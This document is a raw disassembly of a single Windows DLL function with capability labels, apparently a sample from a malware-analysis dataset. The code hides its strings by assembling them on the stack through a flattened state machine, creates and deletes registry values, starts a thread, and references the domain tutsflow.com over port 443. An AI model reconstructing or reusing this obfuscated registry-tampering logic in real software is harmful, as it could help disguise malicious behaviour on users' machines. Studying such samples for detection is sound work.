Function at 0x180021420
Capabilities:
Create thread
Delete registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3e0]
sub rsp, 0x4e0
mov rax, qword [0x18002c718]
xor rax, rsp
mov qword [rbp + 0x3d0], rax
mov rdi, r8
mov qword [rbp - 0x28], r8
mov qword [rbp - 0x50], rdx
mov r14d, ecx
movdqa xmm0, xmmword [0x180026c80]
movdqa xmmword [rbp + 0x260], xmm0
mov byte [rbp + 0x250], 0
movdqa xmm1, xmm0
movdqa xmmword [rbp + 0x280], xmm0
mov byte [rbp + 0x270], 0
movdqa xmmword [rbp + 0x2a0], xmm0
mov byte [rbp + 0x290], 0
movdqa xmmword [rbp + 0x2d0], xmm0
mov byte [rbp + 0x2c0], 0
movdqa xmmword [rbp + 0x2f0], xmm0
mov byte [rbp + 0x2e0], 0
xor ecx, ecx
mov qword [rbp + 0xf0], rcx
mov word [rbp + 0xf8], cx
movdqu xmmword [rbp + 0x10a], xmm0
mov byte [rbp + 0xfa], cl
mov qword [rbp + 0xc0], rcx
mov word [rbp + 0xc8], cx
movdqu xmmword [rbp + 0xda], xmm0
mov byte [rbp + 0xca], cl
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rcx
movdqa xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rcx
mov qword [rbp - 0x78], rcx
mov qword [rbp - 0x70], rcx
mov qword [rbp + 0x120], rcx
mov qword [rbp + 0x128], rcx
mov qword [rbp + 0x130], rcx
mov ecx, 0x30
call fcn.180022524
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x128], rax
xor edx, edx
mov qword [rbp + 0x138], rdx
xorps xmm2, xmm2
movsd qword [rbp + 0x140], xmm2
mov qword [rbp + 0x148], rdx
mov dword [rbp + 0x150], 1
mov qword [rbp + 0x158], rdx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x170], xmm1
movdqa xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rdx
mov qword [rbp + 0x198], 0xffffffffffffffff
mov dword [rbp + 0x1a0], edx
xor eax, eax
movups xmmword [rbp + 0x1a8], xmm0
movups xmmword [rbp + 0x1b8], xmm0
movups xmmword [rbp + 0x1c8], xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], rax
movdqa xmm0, xmmword [0x180026c80]
movdqa xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x1f0], al
mov word [rbp + 0x210], dx
mov dword [rbp + 0x214], edx
mov qword [rbp + 0x218], rdx
xorps xmm0, xmm0
movaps xmmword [rbp + 0x220], xmm0
movsd qword [rbp + 0x230], xmm2
mov byte [rbp + 0x238], al
mov qword [rbp + 0x23c], rdx
lea ebx, [r14 + 0x95d]
mov dword [rsp + 0x30], ebx
cmp r14d, ebx
mov ebx, dword [rsp + 0x38]
jae case.0x180021730.5
lea ecx, [rdx + 0x69]
lea r10d, [rdx + 0x6f]
lea r11d, [rdx + 0x72]
lea r9d, [rdx + 0x61]
lea r8d, [rdx + 0x74]
mov esi, dword [rsp + 0x38]
mov r15d, dword [rsp + 0x38]
movzx r12d, byte [rsp + 0x40]
mov r13d, dword [rsp + 0x38]
mov eax, dword [rsp + 0x30]
nop word [rax + rax]
cmp r14d, 0x441
ja 0x1800218ab
je 0x180021867
cmp r14d, 0x20d
ja 0x1800217ac
je 0x180021782
mov eax, r14d
sub eax, 0xf3
je 0x1800216f7
sub eax, 0x8d
je 0x1800216cb
cmp eax, 0xc
jne 0x180021eee
mov rax, qword [rbp - 0x50]
mov eax, dword [rax]
and eax, 0x1fffff80
or eax, dword [rdi]
movabs dword [0xe000ed08], eax
jmp 0x180021eee
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov r8d, 0xc
lea rdx, str.tutsflow.com
lea rcx, [rbp + 0x250]
call fcn.180020f40
jmp 0x180021ed5
mov r8d, 0xbd
lea rdx, [0x18002b028]
xor ecx, ecx
call fcn.180005940
xor edx, edx
test al, al
jne 0x180021ed7
mov edi, edx
cmp edi, 5
ja case.0x180021730.0
mov eax, edi
lea r8, [0x180000000]
mov ecx, dword [r8 + rax*4 + 0x22164]
add rcx, r8
jmp rcx
mov ebx, 1
jmp case.0x180021730.0
mov qword [rbp - 0x48], rdx
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x30], xmm1
movups xmmword [rbp + 0x40], xmm1
movups xmmword [rbp + 0x50], xmm1
jmp case.0x180021730.0
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.GDI32.dll_GetObjectA]
xor edx, edx
inc edi
lea eax, [rdi + 0xb0]
cmp eax, 0xb6
jb 0x180021717
jmp 0x180021ed7
mov r8d, 1
lea rdx, [0x180024a74]
lea rcx, [rbp + 0x270]
call fcn.180020f40
mov eax, 0x1bb
mov word [rbp + 0x2b0], ax
jmp 0x180021ed5
cmp r14d, 0x29a
je 0x18002180f
cmp r14d, 0x327
je 0x1800217e2
cmp r14d, 0x3b4
jne 0x180021ef2
mov r8d, 0x97
lea rdx, [rsp + 0x50]
xor ecx, ecx
call fcn.180016940
jmp 0x180021ed5
mov eax, 0x1bb
mov word [rsp + 0x40], ax
mov r9d, 0x10d
lea r8, [rbp + 0xc0]
lea rdx, [0x18002b0a8]
lea rcx, [rsp + 0x40]
call fcn.180004120
jmp 0x180021ed5
lea r8, [rbp + 0x290]
xor edx, edx
mov ecx, 0xb6
call fcn.18001ea40
lea r8, [rbp + 0x250]
lea rdx, [rbp + 0x2c0]
mov ecx, 0x16
call fcn.18000ea90
mov eax, 0x1bb
mov word [rsp + 0x48], ax
lea r9, [rbp + 0xf0]
mov r8d, 0x4c
lea rdx, [rsp + 0x48]
lea rcx, [0x18002b088]
call fcn.18000b7f0
jmp 0x180021ed5
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x40], rax
mov rax, qword [rsp + 0x58]
cmp rax, qword [rsp + 0x60]
je 0x180021893
lea rcx, [rbp + 0xf0]
mov qword [rax], rcx
add qword [rsp + 0x58], 8
jmp 0x180021ee9
lea r8, [rbp - 0x40]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.1800019a0
jmp 0x180021ed5
cmp r14d, 0x675
ja 0x180021de4
je 0x180021dac
cmp r14d, 0x4ce
je 0x180021d04
cmp r14d, 0x55b
je 0x1800218f8
cmp r14d, 0x5e8
jne 0x180021ef2
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
jmp 0x180021ef2
mov rax, qword [rbp - 0x60]
test rax, rax
jne 0x180021cf6
mov edi, r10d
nop dword [rax + rax]
cmp edi, 0x5ce
ja 0x180021b5f
je 0x180021b49
cmp edi, 0x2e0
ja 0x1800219f6
je 0x1800219e7
mov eax, edi
sub eax, 0x6f
je 0x1800219ce
sub eax, 0x7d
je 0x1800219a9
sub eax, 0x7d
je 0x180021984
sub eax, 0x7d
je 0x180021966
cmp eax, 0x7d
jne 0x180021cda
mov dword [rbp + 0x384], 0x6d0072
jmp 0x180021cda
mov word [rbp + 0x37c], cx
mov dword [rbp + 0x37e], 0x66006e
mov word [rbp + 0x382], r10w
jmp 0x180021cda
mov dword [rbp + 0x372], 0x64002d
mov dword [rbp + 0x376], 0x790061
mov eax, 0x2d
mov word [rbp + 0x37a], ax
jmp 0x180021cda
mov dword [rbp + 0x368], 0x65006d
mov eax, 0x2d
mov word [rbp + 0x36c], ax
mov dword [rbp + 0x36e], 0x66006f
jmp 0x180021cda
mov dword [rbp + 0x360], 0x2f003c
mov dword [rbp + 0x364], 0x690074
jmp 0x180021cda
mov dword [rbp + 0x388], 0x740061
jmp 0x180021cda
mov eax, edi
sub eax, 0x35d
je 0x180021b29
sub eax, 0x7d
je 0x180021adc
sub eax, 0x7d
je 0x180021aa8
sub eax, 0x7d
je 0x180021a8b
cmp eax, 0x7d
jne 0x180021cda
lea rcx, [rbp + 0x300]
dec rcx
nop dword [rax]
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x180021a30
movzx eax, word [0x180025e6c]
mov word [rcx], ax
movzx eax, byte [0x180025e6e]
mov byte [rcx + 2], al
lea rcx, [rbp + 0x300]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x180021a57
mov eax, dword [str.__1.]
mov dword [rcx], eax
movzx eax, byte [0x180025e74]
mov byte [rcx + 4], al
mov dword [rbp + 0x318], 0x690044
mov dword [rbp + 0x31c], 0x650072
jmp 0x180021cda
movzx eax, word [0x180025e60]
mov word [rbp + 0x30b], ax
mov dword [rbp + 0x30d], 0x707974
jmp 0x180021cda
mov word [rbp + 0x305], cx
movzx eax, word [0x180025e64]
mov word [rbp + 0x306], ax
movzx eax, word [0x180025e68]
mov word [rbp + 0x308], ax
mov eax, 0x73
mov word [rbp + 0x30a], ax
jmp 0x180021cda
mov byte [rbp + 0x300], 0
mov r8d, 1
lea rdx, [0x180024764]
lea rcx, [rbp + 0x300]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncat]
lea rcx, [rbp + 0x300]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], 0
jne 0x180021b07
movzx eax, word [0x180025be4]
mov word [rcx], ax
mov dword [rbp + 0x302], 0x6c6176
jmp 0x180021cd8
mov dword [rbp + 0x38c], 0x6f0069
mov dword [rbp + 0x390], 0x3e006e
mov word [rbp + 0x394], dx
jmp 0x180021cda
mov dword [rbp + 0x320], 0x740063
mov word [rbp + 0x324], cx
jmp 0x180021cda
cmp edi, 0x8bc
ja 0x180021c37
je 0x180021c2c
mov eax, edi
sub eax, 0x64b
je 0x180021c09
sub eax, 0x7d
je 0x180021be4
sub eax, 0x7d
je 0x180021bcb
sub eax, 0x7d
je 0x180021ba8
cmp eax, 0x7d
jne 0x180021cda
mov dword [rbp + 0x350], 0x65
mov r12b, 1
jmp 0x180021cda
mov dword [rbp + 0x344], 0x690044
mov dword [rbp + 0x348], 0x610073
mov dword [rbp + 0x34c], 0x6c0062
jmp 0x180021cda
mov dword [rbp + 0x33c], 0x720074
mov dword [rbp + 0x340], 0x6c006f
jmp 0x180021cda
mov eax, 0x67
mov word [rbp + 0x332], ax
mov dword [rbp + 0x334], 0x430065
mov dword [rbp + 0x338], 0x6e006f
jmp 0x180021cda
mov dword [rbp + 0x326], 0x6e006f
mov dword [rbp + 0x32a], 0x6c0061
mov dword [rbp + 0x32e], 0x610050
jmp 0x180021cda
mov r13d, 0xf003f
jmp 0x180021cda
mov eax, edi
sub eax, 0x939
je 0x180021ca1
sub eax, 0x7d
je 0x180021c75
sub eax, 0x7d
je 0x180021c58
cmp eax, 0x7d
je case.0x180021730.5
jmp 0x180021cda
test r12b, r12b
je 0x180021c6e
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.SHLWAPI.dll_SHRegDeleteUSValueA]
xor edx, edx
mov ebx, 1
jmp 0x180021cda
lea r8d, [rsi + 1]
lea rdx, [rbp + 0x318]
lea rcx, [rbp + 0x360]
call qword [sym.imp.SHLWAPI.dll_StrNCatW]
xor edx, edx
mov ecx, edx
movzx eax, r12b
test r15d, r15d
cmove ecx, eax
movzx r12d, cl
jmp 0x180021cda
lea rax, [rbp + 0x318]
mov rsi, 0xffffffffffffffff
nop
inc rsi
cmp word [rax + rsi*2], 0
jne 0x180021cb0
mov dword [rsp + 0x20], edx
lea r9, [rbp - 0x38]
xor r8d, r8d
mov edx, r13d
lea rcx, [rbp + 0x300]
call qword [sym.imp.SHLWAPI.dll_SHRegCreateUSKeyA]
mov r15d, eax
xor edx, edx
add edi, 0x7d
cmp edi, 0xb2d
mov ecx, 0x69
lea r10d, [rcx + 6]
jb 0x180021910
mov rax, qword [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180021ed5
lea rax, [rbp + 0xc0]
mov qword [rbp - 0x30], rax
mov rax, qword [rsp + 0x58]
cmp rax, qword [rsp + 0x60]
je 0x180021d2d
lea rcx, [rbp + 0xc0]
mov qword [rax], rcx
add qword [rsp + 0x58], 8
jmp 0x180021d40
lea r8, [rbp - 0x30]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.1800019a0
mov eax, dword [0x18002b0d0]
mov dword [rsp + 0x38], eax
mov r8d, 0x10f
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.1800100c0
lea rax, [rsp + 0x50]
mov qword [rbp - 0x20], rax
mov eax, dword [0x18002b0d0]
mov dword [rbp - 0x18], eax
mov eax, dword [0x18002b0d4]
mov dword [rbp - 0x14], eax
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x10], xmm0
xor eax, eax
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
lea r9, [rbp - 0x10]
lea r8, [0x180013670]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp - 0x60], rax
jmp 0x180021ed5
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
lea rax, [0x180009510]
mov qword [rbp - 0x58], rax
lea r8, [rbp - 0x58]
mov edx, 0x10b
xor ecx, ecx
call fcn.180007a40
jmp 0x180021ed5
cmp r14d, 0x702
je 0x180021eb8
cmp r14d, 0x78f
je 0x180021e9f
cmp r14d, 0x81c
jne 0x180021ef2
mov ebx, edx
lea rcx, [rbp + 0x198]
call fcn.180003910
mov rdi, qword [rbp + 0x180]
test rdi, rdi
je 0x180021f0b
mov rsi, qword [rbp + 0x188]
cmp rdi, rsi
je 0x180021e4d
mov rcx, rdi
call fcn.1800209f0
add rdi, 0x20
cmp rdi, rsi
jne 0x180021e35
mov rdi, qword [rbp + 0x180]
mov rdx, qword [rbp + 0x190]
sub rdx, rdi
and rdx, 0xffffffffffffffe0
mov rax, rdi
cmp rdx, 0x1000
jb 0x180021e80
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180021f49
mov rcx, rdi
call fcn.180022560
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x180], xmm0
xor r14d, r14d
mov qword [rbp + 0x190], r14
jmp 0x180021f0e
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x120]
mov ecx, 0x107
call fcn.180012bd0
jmp 0x180021ed5
lea r9, [rbp + 0x120]
lea r8, [rsp + 0x50]
lea rdx, [0x18002b020]
mov ecx, 0x4d
call fcn.180008640
xor edx, edx
mov r11d, 0x72
lea r10d, [r11 - 3]
lea r9d, [r11 - 0x11]
lea r8d, [r11 + 2]
mov ecx, 0x69
mov eax, dword [rsp + 0x30]
add r14d, 0x8d
cmp r14d, eax
jae case.0x180021730.5
mov rdi, qword [rbp - 0x28]
jmp 0x180021670
xor r14d, r14d
mov rcx, qword [rbp + 0x168]
test rcx, rcx
je 0x180021f67
mov rdx, qword [rbp + 0x178]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x180021f50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180021f50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180022560
mov qword [rbp + 0x168], r14
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x170], xmm0
lea rcx, [rbp + 0x128]
call fcn.180003840
nop
mov rdi, qword [rsp + 0x68]
test rdi, rdi
je 0x180022008
mov rsi, qword [rsp + 0x70]
cmp rdi, rsi
je 0x180021fa6
nop dword [rax]
mov rcx, rdi
call fcn.180003150
add rdi, 0x28
cmp rdi, rsi
jne 0x180021f90
mov rdi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x78]
sub rcx, rdi
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x180021ff2
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180022047
mov rcx, rdi
call fcn.180022560
mov qword [rsp + 0x68], r14
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x180022061
mov rax, qword [rsp + 0x60]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18002204e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18002204e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180022560
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
mov rdx, qword [rbp + 0xe2]
cmp rdx, 0x10
jb 0x1800220a5
inc rdx
mov rcx, qword [rbp + 0xca]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800220a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800220a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180022560
movdqa xmm0, xmmword [0x180026c80]
movdqu xmmword [rbp + 0xda], xmm0
mov byte [rbp + 0xca], 0
mov rdx, qword [rbp + 0x112]
cmp rdx, 0x10
jb 0x180022100
inc rdx
mov rcx, qword [rbp + 0xfa]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800220fb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800220fb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180022560
movdqa xmm0, xmmword [0x180026c80]
movdqu xmmword [rbp + 0x10a], xmm0
mov byte [rbp + 0xfa], 0
lea rcx, [rbp + 0x2c0]
call fcn.1800034b0
nop
lea rcx, [rbp + 0x250]
call fcn.180003560
mov eax, ebx
mov rcx, qword [rbp + 0x3d0]
xor rcx, rsp
call fcn.180022a70
lea r11, [rsp + 0x4e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret